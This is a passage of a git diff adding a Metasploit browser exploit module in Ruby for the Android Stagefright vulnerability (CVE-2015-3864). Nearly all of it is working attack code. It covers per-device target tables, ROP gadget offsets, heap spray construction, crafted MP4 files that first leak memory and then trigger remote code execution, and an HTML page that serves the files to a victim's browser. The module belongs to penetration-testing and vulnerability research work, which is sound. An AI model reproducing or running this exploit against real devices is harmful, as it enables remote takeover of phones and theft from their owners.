SELinux and thus cannot use the execve system call. To avoid + this problem, the original exploit uses a kernel exploit payload that disables + SELinux and spawns a shell as root. Work is underway to make the framework + more amenable to these types of situations. Until that work is complete, this + exploit will only yield a shell on devices without SELinux or with SELinux in + permissive mode. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + # Exodus/jordan # initial discovery / disclosure + 'jduck', # Metasploit module, further infoleak development + 'NorthBit' # intiial information leak implementation + ], + 'References' => + [ + [ 'CVE', '2015-3864' ], + [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ], + [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ], + [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ], + [ 'URL', 'https://github.com/NorthBit/Metaphor' ], + # Not used, but related + [ 'URL', 'http://drops.wooyun.org/papers/7558' ], + [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ], + [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ], + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true, + }, + #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' }, + 'Platform' => 'linux', + 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], + 'Targets' => + [ + [ 'Automatic', {} ], + # + # Each target includes information about the device, firmware, and + # how exactly to about exploiting it. + # + # Primarily, these targets are used to map a browser's User-Agent to + # exploit specifics for that device / build. + # + [ + 'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LRX21P', + 'Release' => '5.0', + 'Rop' => 'lrx', + 'SprayAddress' => 0xb1508000 + } + ], + [ + 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LRX22C', + 'Release' => '5.0.1', + 'Rop' => 'lrx' + } + ], + [ + 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LRX22G', + 'Release' => '5.0.2', + 'Rop' => 'lrx' + } + ], + [ + 'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LMY47O', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LMY47V', + 'Release' => '5.1.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LMY48G', + 'Release' => '5.1.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LMY48I', + 'Release' => '5.1.1', + 'Rop' => 'lmy-2' + } + ], + [ + 'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LRX22G', + 'Release' => '5.0.2', + 'Rop' => 'lrx' + } + ], + [ + 'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LMY47O', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)', + { + 'Model' => 'Nexus 7', + 'Build' => 'LMY47V', + 'Release' => '5.1.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)', + { + 'Model' => 'Nexus 5', + 'Build' => 'LRX21O', + 'Release' => '5.0', + 'Rop' => 'lrx' + } + ], + [ + 'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)', + { + 'Model' => 'Nexus 5', + 'Build' => 'LRX22C', + 'Release' => '5.0.1', + 'Rop' => 'lrx' + } + ], + [ + 'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)', + { + 'Model' => 'Nexus 5', + 'Build' => 'LMY47D', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)', + { + 'Model' => 'Nexus 5', + 'Build' => 'LMY47I', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)', + { + 'Model' => 'Nexus 5', + 'Build' => 'LMY48B', + 'Release' => '5.1.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)', + { + 'Model' => 'Nexus 5', + 'Build' => 'LMY48I', + 'Release' => '5.1.1', + 'Rop' => 'lmy-2' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.0 (LRX21O)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LRX21O', + 'Release' => '5.0', + 'Rop' => 'lrx' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LRX22C', + 'Release' => '5.0.1', + 'Rop' => 'lrx' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1 (LMY47D)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LMY47D', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1 (LMY47E)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LMY47E', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1 (LMY47I)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LMY47I', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LYZ28E', + 'Release' => '5.1.1', + 'Rop' => 'shamu / LYZ28E' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1 (LMY47M)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LMY47M', + 'Release' => '5.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LMY47Z', + 'Release' => '5.1.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LVY48C', + 'Release' => '5.1.1', + 'Rop' => 'lmy-1' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LMY48I', + 'Release' => '5.1.1', + 'Rop' => 'lmy-2' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LYZ28J', + 'Release' => '5.1.1', + 'Rop' => 'shamu / LYZ28J' + } + ], + [ + 'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)', + { + 'Model' => 'Nexus 6', + 'Build' => 'LVY48E', + 'Release' => '5.1.1', + 'Rop' => 'lmy-2' + } + ], + [ + 'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)', + { + 'Model' => 'SM-G900V', + 'Build' => 'LRX21T', + 'Release' => '5.0', + 'Rop' => 'sm-g900v / OE1', + 'SprayAddress' => 0xaf008000, + 'SampleIteratorSize' => 0xa8, + 'VectorSize' => 0xec + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => "Aug 13 2015", + 'DefaultTarget' => 0)) + +=begin + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) +=end + end + + def exploit + @peers = {} + super + end + + def get_target(request) + agent = request.headers['User-Agent'] + self.targets.each do |t| + next if t.name == 'Automatic' + regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}") + return t if (agent =~ /#{regexp}/) + end + return nil + end + + # + # Construct a page worth of data that we'll spray + # + # NOTE: The data within is target-specific + # + def build_spray(my_target, peer, spray_addr) + # Initialize the page to a reasonable state. + page = '' + page = rand_text(4096) + + # Load target-based exploit-specific variables + details = get_details(my_target) + return nil if details.nil? + + # Calculate the libstagefright.so base address + vector_rva = details['VectorRVA'] + vector_ptr = peer[:vector_vtable_addr] + libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000) + + # If we smash mDataSource, this ends up controlling the program counter!! +=begin + 0xb65fd7c4 : ldr r2, [r0, #0] + 0xb65fd7c6 : str r1, [sp, #0] + 0xb65fd7c8 : ldr r5, [r7, #0] + 0xb65fd7ca : str r5, [sp, #4] + 0xb65fd7cc : ldr r6, [r2, #28] + 0xb65fd7ce : ldrd r2, r3, [r10] + 0xb65fd7d2 : blx r6 + 0xb65fd7d4 : ldrd r2, r3, [sp, #64] ; 0x40 +=end + + # Initialize our pivot values and adjust them to libstagefright's base. + # First, load r0 (pointer to our buffer) into some register.. + mds_pivot1 = libsf_base + details['Pivot1'] + + # Next, load sp (and probably other stuff) from there + mds_pivot2 = libsf_base + details['Pivot2'] + + # Finally, skip over some stuff and kick of the ROP chain + mds_adjust = libsf_base + details['Adjust'] + + # The offset to the ROP change beginning + rop_start_off = 0x30 + + # Point sp to the remainder of the ROP chain + new_sp = spray_addr + rop_start_off + + # Sometimes the spray isn't aligned perfectly, this fixes that situation... + unalign_off = 0x998 + new_sp2 = new_sp + 0x1000 - unalign_off + + # This pointer should point to the beginning of the shellcode payload + payload_ptr = spray_addr + 0xa0 + + # Put the stack back! + stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp + + # Depending on the pivot strategy in use, we have to set things up slightly + # differently... + # + # In each case, we use a two-stage pivot that reads the spray address from + # r0 (we smashed that, remember). + # + # The addroffs array is used to map values to the offsets where the pivots + # expect them to be. + # + case details['PivotStrategy'] + when 'lrx' + addroffs = [ + [ 0x0, new_sp ], + [ 0x10, mds_pivot2 ], + [ 0x1c, mds_pivot1 ], + ] + + # Since we are only popping one item in pivot2, we reduce the rop_start_off + rop_start_off -= 4 + + # Adjust the payload pointer + payload_ptr -= 4 + + when 'lmy-1' + addroffs = [ + [ 0x8, new_sp ], + [ 0xc, mds_adjust ], + [ 0x10, mds_pivot2 ], + [ 0x1c, mds_pivot1 ] + ] + + when 'lmy-2' + ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement + addroffs = [ + [ 0x0, ptr_to_mds_pivot2 ], + [ 0x8, new_sp ], + [ 0xc, mds_adjust ], + [ 0x10, mds_pivot2 ], + [ 0x1c, mds_pivot1 ] + ] + + stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp + + when 'lyz' + ptr_to_mds_pivot2 = spray_addr + 0x8 + addroffs = [ + [ 0x0, ptr_to_mds_pivot2 ], + [ 0x8, mds_pivot2 ], + [ 0x1c, mds_pivot1 ], + [ 0x24, new_sp ], + # lr is at 0x28! + [ 0x2c, mds_adjust ] + ] + + # We can't fix it becuse we don't know where the original stack is anymore :-/ + stack_fix = "" + + when 'sm-g900v' + addroffs = [ + [ 0x4, mds_adjust ], + [ 0x10, new_sp ], + [ 0x1c, mds_pivot1 ], + [ 0x20, mds_pivot2 ] + ] + + else + print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!") + return nil + end + + # We need our ROP to build the page... Create it. + rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] }) + + # Fix up the payload pointer in the ROP + idx = rop.index([ 0xc600613c ].pack('V')) + rop[idx, 4] = [ payload_ptr ].pack('V') + + # Insert the ROP + page[rop_start_off, rop.length] = rop + + # Insert the special values... + addroffs.each do |ao| + off,addr = ao + page[off,4] = [ addr ].pack('V') + + # Sometimes the spray isn't aligned perfectly... + if addr == new_sp + page[off+unalign_off,4] = [ new_sp2 ].pack('V') + else + page[off+unalign_off,4] = [ addr ].pack('V') + end + end + + page + end + + # + # MPEG-4 specific functionality + # + def get_atom(tag, data='', length=nil) + if tag.length != 4 + raise 'Yo! They call it "FourCC" for a reason.' + end + + length ||= data.length + 8 + if length >= 2**32 + return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join + end + [ [ length ].pack('N'), tag, data ].join + end + + def get_stsc(num) + stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets + stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num + get_atom('stsc', stsc_data) + end + + def get_ftyp + # Build the MP4 header... + ftyp = 'mp42' + ftyp << [ 0 ].pack('N') + ftyp << 'mp42' + ftyp << 'isom' + get_atom('ftyp', ftyp) + end + + def get_pssh(alloc_size) + pssh_data = '' + pssh_data << [ 0 ].pack('N') + pssh_data << [ 0, 0, 0, 0 ].pack('N*') + pssh_data << [ alloc_size ].pack('N') + alloc_size.times do |off| + pssh_data << [ 0x55aa0000 + off ] .pack('V') + end + get_atom('pssh', pssh_data) + end + + def get_metaitem(tag, type, data) + ret = '' + ret << tag.reverse + ret << type.reverse + case type + when 'in32' + ret << [ 4, data ].pack('V*') + when 'in64' + ret << [ 8, data ].pack('V*') + else + raise "How do you expect me to make a #{type.inspect} ??" + end + ret + end + + def jemalloc_round(sz) + # These are in the 16-byte aligned runs + if (sz > 0x10 && sz <= 0x80) + round = 16 + # 160 starts the 32-byte aligned runs + elsif (sz > 0x80 && sz <= 0x140) + round = 32 + else + raise "Don't know how to round 0x%x" % sz + end + ret = (sz + (round - 1)) / round + ret *= round + return ret + end + + # + # Leak data from mediaserver back to the browser! + # + # Stage 1 - leak a heap pointer near a SampleIterator object + # Stage 2 - read a code pointer from the SampleIterator object + # + def get_mp4_leak(my_target, peer) + # MPEG4 Fileformat Reference: + # http://qtra.apple.com/index.html + # + # Structure: + # [File type Chunk][Other Atom Chunks] + # + # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] + # + sampiter_alloc_size = 0x78 + sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil? + sampiter_rounded = jemalloc_round(sampiter_alloc_size) + vector_alloc_size = 0x8c + vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil? + groom_count = 0x10 + + is_samsung = (my_target['Rop'] == 'sm-g900v / OE1') + + # Coerce the heap into a favorable shape (fill holes) + shape_vector = get_pssh(vector_alloc_size) + + # Allocate a block of memory of the correct size + placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C')) + + # Make the first tx3g chunk, which is meant to overflow into a MetaData array. + # We account for the overhead of both chunks here and aim for this layout: + # + # placeholder after re-allocation | vector array data + # | + # + # Realistically, tx3g1_padding can be any number that rounds up to the + # correct size class. + tx3g1_overhead = 0x8 + tx3g2_overhead = 0x10 + tx3g_target = jemalloc_round(vector_alloc_size) + tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead) + tx3g_data = 'x' * tx3g1_padding + tx3g_1 = get_atom('tx3g', tx3g_data) + + # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only) + # avcC was in the initial commit. + near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size) + + # Craft the data that will overwrite the header and part of the MetaData + # array... + more_data = '' + more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*') + + # Now add the thing(s) we want to control (partially) + # + # We add some BS entries just to kill the real 'heig' and get proper + # ordering... + near_sampiter_addr = peer[:near_sampiter_addr] + if near_sampiter_addr.nil? + # Part 1. Leak the address of a chunk that should be adjacent to a + # SampleIterator object. + if is_samsung + # On Samsung: + # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt + # After: dmcE, abc1, abc2, abc3, heig... + more_data << get_metaitem('dmcE', 'in32', 1) + more_data << get_metaitem('abc1', 'in32', 31335) + more_data << get_metaitem('abc2', 'in32', 31336) + end + + # On Nexus: + # Before: heig, hvcc, inpS, mime, text, widt + # After: abc3, heig... + more_data << get_metaitem('abc3', 'in32', 31337) + + # NOTE: We only use the first 12 bytes so that we don't overwrite the + # pointer that is already there! + heig = get_metaitem('heig', 'in32', 31338) + more_data << heig[0,12] + else + # Part 2. Read from the specified address, as with the original Metaphor + # exploit. + if is_samsung + # On Samsung: + # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt + # After: dmcE, dura, ... + more_data << get_metaitem('dmcE', 'in32', 1) + else + # On Nexus: + # Before: avcc, heig, inpS, mime, text, widt + # After: dura, ... + near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size) + end + + # Try to read the mCurrentChunkSampleSizes vtable ptr within a + # SampleIterator object. This only works because the Vector is empty thus + # passing the restrictions imposed by the duration conversion. + ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30 + more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable) + end + + # The tx3g2 then needs to trigger the integer overflow, but can contain any + # contents. The overflow will terminate at the end of the file. + # + # NOTE: The second tx3g chunk's overhead ends up in the slack space between + # the replaced placeholder and the MetaData Vector contents. + big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size + tx3g_2 = get_atom('tx3g', more_data, big_num) + + # Create a minimal, verified 'trak' to satisfy mLastTrack being set + stbl_data = get_stsc(1) + stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets + stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes + stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount + stbl = get_atom('stbl', stbl_data) + verified_trak = get_atom('trak', stbl) + + # Start putting it all together into a track. + trak_data = '' + + if is_samsung + # Put some legitimate duration information so we know if we failed + mdhd_data = [ 0 ].pack('N') # version + mdhd_data << "\x00" * 8 # padding + mdhd_data << [ 1 ].pack('N') # timescale + mdhd_data << [ 314 ].pack('N') # duration + mdhd_data << [ 0 ].pack('n') # lang + trak_data << get_atom('mdhd', mdhd_data) + end + + # Add this so that our file is identified as video/mp4 + mp4v_data = '' + mp4v_data << [ 0 ].pack('C') * 24 # padding + mp4v_data << [ 1024 ].pack('n') # width + mp4v_data << [ 768 ].pack('n') # height + mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding + trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true + + # Here, we cause allocations such that we can replace the placeholder... + if is_samsung + trak_data << placeholder # Somethign we can free + trak_data << shape_vector # Eat the loose block... + trak_data << stbl # Cause the growth of the track->meta Vector + else + trak_data << stbl # Cause the growth of the track->meta Vector + trak_data << placeholder # Somethign we can free + trak_data << shape_vector # Eat the loose block... + end + + # Add the thing whose entry in the MetaData vector we want to overwrite... + trak_data << near_sampiter + + # Get our overflow data into memory + trigger = '' + trigger << tx3g_1 + + # Free the place holder + trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C')) + + # Overflow the temporary buffer into the following MetaData array + trigger << tx3g_2 + + # !!! NOTE !!! + # On Samsung devices, the failure that causes ERR to be returned from + # 'tx3g' processing leads to "skipTrack" being set. This means our + # nasty track and it's metadata get deleted and not returned to the + # browser -- effectively killing the infoleak. + # + # However! It also handles "skipTrack" being set specially and does not + # immediately propagate the error to the caller. Instead, it returns OK. + # This allows us to triggering the bug multiple times in one file, or -- + # as we have in this case -- survive after and return successfully. + if is_samsung + # Add this as a nested track! + trak_data << get_atom('trak', trigger) + else + trak_data << trigger + end + trak = get_atom('trak', trak_data) + + # On Samsung devices, we could put more chunks here but they will + # end up smashing the temporary buffer further... + + chunks = [] + chunks << get_ftyp() + chunks << get_atom('moov') + chunks << verified_trak * 0x200 + chunks << shape_vector * groom_count + chunks << trak + + mp4 = chunks.join + mp4 + end + + def get_mp4_rce(my_target, peer) + # MPEG4 Fileformat Reference: + # http://qtra.apple.com/index.html + # + # Structure: + # [File type Chunk][Other Atom Chunks] + # + # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] + # + chunks = [] + chunks << get_ftyp() + + # Note, this causes a few allocations + moov_data = '' + mvhd_data = [ 0, 0x41414141 ].pack('N*') + mvhd_data << 'B' * 0x5c + moov_data << get_atom('mvhd', mvhd_data) + + # Add a minimal, verified 'trak' to satisfy mLastTrack being set + verified_trak = '' + stbl_data = get_stsc(0x28) + stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets + stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes + stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount + verified_trak << get_atom('trak', get_atom('stbl', stbl_data)) + + # Add it to the file + moov_data << verified_trak + + # The spray_addr field is typically determined empirically (by testing), but + # has proven to be fairly predictable (99%). However, it does vary from + # one device to the next (probably determined by the pre-loaded libraries). + spray_addr = 0xb0c08000 + spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil? + + # Construct a single page that we will spray + page = build_spray(my_target, peer, spray_addr) + return nil if page.nil? + + # Build a big block full of spray pages and and put it in an avcC chunk + # (but don't add it to the 'moov' yet) + spray = page * (((16 * 1024 * 1024) / page.length) - 20) + avcc = get_atom('avcC', spray) + + # Make the nasty trak + tkhd1 = '' + tkhd1 << [ 0 ].pack('C') # version + tkhd1 << 'D' * 3 # padding + tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration + tkhd1 << 'F' * 0x10 # ?? + tkhd1 << [ + 0x10000, # a00 + 0, # a01 + 0, # dx + 0, # a10 + 0x10000, # a11 + 0 # dy + ].pack('N*') + tkhd1 << 'G' * 0x14 # ?? + + # Add the tkhd (track header) to the nasty track + trak1 = '' + trak1 << get_atom('tkhd', tkhd1) + + # Build and add the 'mdia' (Media information) to the nasty track + mdia1 = '' + mdhd1 = [ 0 ].pack('C') # version + mdhd1 << 'D' * 0x17 # padding + mdia1 << get_atom('mdhd', mdhd1) + mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler + dinf1 = '' + dinf1 << get_atom('dref', 'H' * 0x14) # Data information box + minf1 = '' + minf1 << get_atom('smhd', 'G' * 0x08) + minf1 << get_atom('dinf', dinf1) + stbl1 = get_stsc(2) + minf1 << get_atom('stbl', stbl1) + mdia1 << get_atom('minf', minf1) + trak1 << get_atom('mdia', mdia1) + + # Add something to take up a slot in the 0x20 size range + # NOTE: We have to be able to free this later... + block = 'Q' * 0x1c + trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) + + # Add a Track (hopefully right after) + trak1 << verified_trak + + # Add the avcC chunk with the heap spray. We add it here so it's sure to be + # allocated when we get control of the program counter... + trak1 << avcc + + # Build the first of the nasty pair of tx3g chunks that trigger the + # vulnerability + alloc_size = 0x20 + overflow_size = 0xc0 + + overflow = [ spray_addr ].pack('V') * (overflow_size / 4) + tx3g_1 = get_atom('tx3g', overflow) + trak1 << tx3g_1 + + # Free the original thing and put the tx3g temporary in it's place... + block = 'R' * 0x40 + trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block)) + + # Make the second one, which triggers the integer overflow + big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size + more_data = [ spray_addr ].pack('V') * (overflow_size / 4) + tx3g_2 = get_atom('tx3g', more_data, big_num) + trak1 << tx3g_2 + + # Add the nasty track to the moov data + moov_data << get_atom('trak', trak1) + + # Finalize the moov chunk + moov = get_atom('moov', moov_data) + chunks << moov + + # Combine outer chunks together and voila. + mp4 = chunks.join + mp4 + end + + def on_request_uri(cli, request) + # If the request is for an mp4 file, we need to get the target from the @peers hash + if request.uri =~ /\.mp4\?/i + mp4_fn = request.uri.split('/')[-1] + mp4_fn = mp4_fn.split('?')[0] + mp4_fn[-4,4] = '' + + peer = @peers[mp4_fn] + + my_target = nil + my_target = peer[:target] if peer + if my_target.nil? + send_not_found(cli) + print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer") + return + end + + # Extract the address(s) we just leaked... + sia_addr = request.qstring['sia'].to_i # near_sampiter data address + peer[:near_sampiter_addr] = sia_addr if sia_addr > 0 + sfv_addr = request.qstring['sfv'].to_i # stagefright Vector vtable ptr + peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0 + # reset after a crash.. + if sia_addr == 0 && sfv_addr == 0 + peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil + end + + # Always use this header + out_hdrs = {'Content-Type'=>'video/mp4'} + + if peer[:vector_vtable_addr].nil? + # Generate the nasty MP4 to leak infoz + mode = "infoleak" + mp4 = get_mp4_leak(my_target, peer) + else + mode = "RCE" + mp4 = get_mp4_rce(my_target, peer) + if mp4.nil? + send_not_found(cli) + print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4") + return + end + end + + # Send the nasty MP4 file to trigger the vulnerability + if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip' + mp4 = Rex::Text.gzip(mp4) + out_hdrs.merge!('Content-Encoding' => 'gzip') + gzip = "gzip'd" + else + gzip = "raw" + end + + client = "Browser" + if request.headers['User-Agent'].include? 'stagefright' + client = "SF" + end + + addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ] + + print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})") + + # Send the nastiness! + send_response(cli, mp4, out_hdrs) + return + end + + # Initialize a target. If none suitable, then we don't continue. + my_target = target + if my_target.name =~ /Automatic/ + my_target = get_target(request) + if my_target.nil? + send_not_found(cli) + print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}") + return + end + vprint_status("Target selected: #{my_target.name}") + end + + # Generate an MP4 filename for this peer + mp4_fn = rand_text_alpha(11) + + # Save the target for when they come back asking for this file + # Also initialize the leak address to the first one + @peers[mp4_fn] = { :target => my_target } + + # Send the index page + mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4" + html = %Q^ + +Please wait... + + +
      +Please wait while we locate your content... + + +^ + print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + + # + # Return some firmware-specific values to the caller. + # + # The VectorRVA field is extracted using the following command: + # + # $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE + # + def get_details(my_target) + details = { + 'lrx' => { + 'VectorRVA' => 0x10ae30, + 'PivotStrategy' => 'lrx', + 'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 + 'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc} + 'Adjust' => 0x475cd # pop {r3, r4, pc} + }, + 'lmy-1' => { + 'VectorRVA' => 0x10bd58, + 'PivotStrategy' => 'lmy-1', + 'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1 + 'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc} + 'Adjust' => 0x479b1 # pop {r3, r4, pc} + }, + 'lmy-2' => { + 'VectorRVA' => 0x10bd58, + 'PivotStrategy' => 'lmy-2', + 'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1 + 'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc} + 'Adjust' => 0x479b1 # pop {r3, r4, pc} + }, + 'shamu / LYZ28E' => { + 'VectorRVA' => 0x116d58, + 'PivotStrategy' => 'lyz', + 'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 + 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} + 'Adjust' => 0x44f81 # pop {r3, r4, pc} + }, + 'shamu / LYZ28J' => { + 'VectorRVA' => 0x116d58, + 'PivotStrategy' => 'lyz', + 'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3 + 'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc} + 'Adjust' => 0x44f81 # pop {r3, r4, pc} + }, + 'sm-g900v / OE1' => { + 'VectorRVA' => 0x174048, + 'PivotStrategy' => 'sm-g900v', + 'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5 + 'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2 + 'Adjust' => 0x65421 # pop {r4, r5, pc} + } + } + + details[my_target['Rop']] + end + +end diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 5da4b1aabc..8154bd8d76 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -6,7 